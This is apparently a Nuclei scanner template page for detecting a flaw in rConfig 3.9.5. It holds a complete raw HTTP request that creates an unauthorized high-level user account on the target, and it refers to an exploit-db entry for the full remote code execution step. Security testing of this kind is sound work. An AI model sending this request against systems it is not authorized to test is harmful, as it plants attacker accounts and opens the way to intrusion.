nuclei-templates/vulnerabilities/other/rconfig-rce.yaml

66 lines
1.7 KiB
YAML
Raw Normal View History

2020-10-15 17:26:11 +00:00
id: rconfig-rce
info:
name: rConfig 3.9.5 - Remote Code Execution
author: dwisiswant0
severity: high
tags: rconfig,rce
2020-10-15 17:26:11 +00:00
# This template supports the user creation part only.
# To triggering an RCE, see references[2].
# References:
# - [1] https://www.rconfig.com/downloads/rconfig-3.9.5.zip
# - [2] https://www.exploit-db.com/exploits/48878
requests:
- raw:
- |
POST /lib/crud/userprocess.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: python-requests/2.23.0
Connection: close
Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=pdnuclei
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="username"
pdnuclei
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="passconf"
Testing1@
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="password"
Testing1@
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="email"
nuclei@projectdiscovery.io
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="editid"
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="add"
add
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="ulevelid"
9
--01b28e152ee044338224bf647275f8eb--
matchers-condition: and
matchers:
- type: word
words:
- "User pdnuclei successfully added to Database"
part: body
- type: status
status:
- 302